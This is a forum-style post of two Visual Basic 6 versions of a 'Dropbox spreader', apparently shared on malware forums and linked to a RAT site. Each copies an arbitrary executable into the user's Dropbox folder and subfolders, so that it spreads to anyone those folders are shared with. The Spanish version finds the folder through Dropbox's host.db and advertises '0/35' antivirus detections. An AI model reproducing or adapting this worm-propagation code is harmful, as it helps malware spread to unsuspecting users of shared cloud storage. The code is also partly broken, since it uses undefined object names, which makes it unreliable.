[VB6] Simple DropBox-Spreader

'---------------------------------------------------------------------------------------
' Module         : modDropBoxSpreader
' Version        : 1.0
' Autor          : eXensoft
' Website        : www.BluePalmRAT.tk
' Creation       : 08/20/2013
' Purpose        : Very simple spreader for spreading a file via Dropbox
' Requiriments   : Dropbox must be installed (with default settings)
' Usage-Example  : Call DropboxSpread("C:\MySourceFile.exe", "SpreadMe.exe", True)
'---------------------------------------------------------------------------------------

Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Function DropboxSpread(mSourceFilePath As String, mSpeadName As String, Optional mSpreadToSubfolder As Boolean = True) As Boolean
    'set bla bla bla
    DropboxSpread = False
    Dim mSubfolder As Collection
    Dim myFSO As Object
    Set myFSO = CreateObject("Scripting.FileSystemObject")
    'Check if default Dropbox-Folder exists
    If myFSO.FolderExists("C:\Users\" & Environ$("username") & "\Dropbox\") = True Then
        'Copy SourceFile to Main-Folder
        Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSpeadName, 0)
        'Spread to Subfolders, too?
        If mSpreadToSubfolder = True Then
            'Get first Subfolders
            Set mSubfolder = ListFolder("C:\Users\" & Environ$("username") & "\Dropbox\")
            'Copy SourceFile to each SubFolder
            For i = 1 To mSubfolder.Count
                Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSubfolder(i) & "\" & mSpeadName, 0)
            Next i
        End If
        DoEvents
        'Spreading is done
        DropboxSpread = True
    End If
End Function

Private Function ListFolder(Mypath As String) As Collection
    Dim MyName As String
    Dim mSubfolder As New Collection
    MyName = Dir(Mypath, vbDirectory)   ' Retrieve the first entry.
    Do While MyName <> ""   ' Start the loop.
       ' Ignore the current directory and the encompassing directory.
       If MyName <> "." And MyName <> ".." Then
          ' Use bitwise comparison to make sure MyName is a directory.
          If (GetAttr(Mypath & MyName) And vbDirectory) = vbDirectory Then
            mSubfolder.Add MyName  ' Display entry only if it
          End If   ' it represents a directory.
       End If
       MyName = Dir   ' Get next entry.
    Loop
    Set ListFolder = mSubfolder
End Function

'---------------------------------------------------------------------------------------
' Modulo     : mDropboxSpread
' Autor      : chequinho
' Fecha      : 20/08/2013
' Finalidad  : Distribuir un archivo a la carpeta de Dropbox
' Uso        : Call DropboxSpread(sFilePath, sFileName, [bSubDirs])
'               - sFilePath: El archivo a distribuir
'               - sFileName: Nombre de archivo a copiar
'               - bSubDirs: Copiar tambien a SubDirectorios (opcional)
' Detecciones: 0/35 (Native - Fast)
' Notas
'   - Necesarias referencias a Microsoft Scripting Runtime y a Microsoft XML, v2.6 (o mayor)
'   - Idea original: exensoft ([url]http://hackhound.org/forums/topic/2590-vb6-simple-dropbox-spreader/[/url])
'---------------------------------------------------------------------------------------
 
Public Sub DropboxSpread(sFilePath As String, sFileName As String, Optional bSubDirs As Boolean = False)
    Dim ObjFSO As New Scripting.FileSystemObject
    ObjFSO.CopyFile sFilePath, getDropboxPath & "\" & sFileName, True
    If bSubDirs = True Then
        Dim oFolder As Scripting.Folder
        Dim oSubFolder As Scripting.Folder
        Set oFolder = oFileSys.GetFolder(getDropboxPath & "\")
        For Each oSubFolder In oFolder.SubFolders
            Call FSO.CopyFile(sFilePath, oSubFolder & "\" & sFileName, True)
        Next oSubFolder
        Set oFolder = Nothing
    End If
End Sub
 
'http://www.nonhostile.com/howto-encode-decode-base64-vb6.asp
Private Function DecodeBase64(ByVal strData As String) As String
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = StrConv(objNode.nodeTypedValue, vbUnicode)
    Set objNode = Nothing
    Set objXML = Nothing
End Function
 
Private Function getDropboxPath() As String
    Dim sDBPath As String
    sDBPath = Environ$("APPDATA") & "\Dropbox\host.db"
    getDropboxPath = DecodeBase64(Read_LastLine(sDBPath))
End Function
 
'http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/84.htm#3
Private Function Read_LastLine(sFile As String) As String
    Dim ObjTextStream As Scripting.TextStream
    Dim ObjFSO As New Scripting.FileSystemObject
    Dim ObjFile As File
    Dim Lineas As String
    Dim Ultima_Linea As Long
    Set ObjFile = ObjFSO.GetFile(sFile)
    Set ObjTextStream = ObjFile.OpenAsTextStream(ForReading, TristateUseDefault)
    Do While Not ObjTextStream.AtEndOfStream
        Lineas = Lineas & "<+>" & ObjTextStream.ReadLine
        Ultima_Linea = Ultima_Linea + 1
    Loop
    Read_LastLine = Split(Lineas, "<+>")(Ultima_Linea)
End Function